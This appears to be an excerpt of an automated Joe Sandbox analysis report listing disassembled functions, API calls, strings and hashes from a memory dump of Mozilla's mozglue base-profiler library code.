strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C69CEA0
noiostacks, xrefs: 6C69CCBE
seqstyle, xrefs: 6C69CCE6
samplingallthreads, xrefs: 6C69CE2C
ipcmessages, xrefs: 6C69CDBE
java, xrefs: 6C69CC37
fileioall, xrefs: 6C69CCA8
stackwalk, xrefs: 6C69CCF8
markersallthreads, xrefs: 6C69CE42
fileio, xrefs: 6C69CC92
power, xrefs: 6C69CE84
audiocallbacktracing, xrefs: 6C69CDD4
screenshots, xrefs: 6C69CCD4
cpuallthreads, xrefs: 6C69CE16
jsallocations, xrefs: 6C69CD0E
preferencereads, xrefs: 6C69CD92
unregisteredthreads, xrefs: 6C69CE58
leaf, xrefs: 6C69CC66
nativeallocations, xrefs: 6C69CDA8
nostacksampling, xrefs: 6C69CD7C
notimerresolutionchange, xrefs: 6C69CE00
default, xrefs: 6C69CC21
processcpu, xrefs: 6C69CE6E
mainthreadio, xrefs: 6C69CC7C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C6647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C664801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C664817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C66482D
__Init_thread_footer.LIBCMT ref: 6C66484A

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

GetCurrentThreadId.KERNEL32 ref: 6C66485F
GetCurrentThreadId.KERNEL32 ref: 6C66487E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66488B
free.MOZGLUE(?), ref: 6C66493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C664956
free.MOZGLUE(00000000), ref: 6C664960
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66499A

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

free.MOZGLUE(?), ref: 6C6649C6
free.MOZGLUE(?), ref: 6C6649E9

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C664A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C664812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6647FC
[I %d/%d] profiler_shutdown, xrefs: 6C664A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C664828

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction ID: 293c3bd29150b65420c401d9490c4a137bcc40bf04f2f5a2f0f5404c09a1b792
Opcode Fuzzy Hash: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction Fuzzy Hash: D3810470A001009BDB14DF2BC8A476A3775AF82329F140629D916D7F46D7B1F845CB9F

Function 6C664470 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

l, xrefs: 6C664578
Gml, xrefs: 6C6644FC
WRusr.dll, xrefs: 6C6644B5
!oi/, xrefs: 6C66447C
NativeNtBlockSet_Write, xrefs: 6C6646F7
kernel32.dll, xrefs: 6C6644CD
user32.dll, xrefs: 6C664557, 6C66463F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: !oi/$Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3448261424
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

!oi/, xrefs: 6C69F6F2
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
" attempted to re-register as ", xrefs: 6C69F858
Thread , xrefs: 6C69F789

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: !oi/$" attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-4259993085
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

!oi/, xrefs: 6C69EF8A
[I %d/%d] profiler_pause, xrefs: 6C69F008
[I %d/%d] profiler_stop, xrefs: 6C69EED7

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: !oi/$[I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1550922770
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C667FD0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C668007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C66801D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C66802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C66803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C66808D

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C66809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C668133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C668149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C668167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C66817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668199

Strings

!oi/, xrefs: 6C667FDC
0>il, xrefs: 6C66811E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: !oi/$0>il
API String ID: 2721933968-1910618439
Opcode ID: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction ID: 83c4bbc69237aee19b48065aac150f773266d4b0cc0585ffd672a350faed6229
Opcode Fuzzy Hash: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction Fuzzy Hash: 925192B1E002056BDB00DFAADC809EFB7B9EF4A324F140525E815E7751E730AD05CBAA

Function 6C665E60 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015
!oi/, xrefs: 6C665E70

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

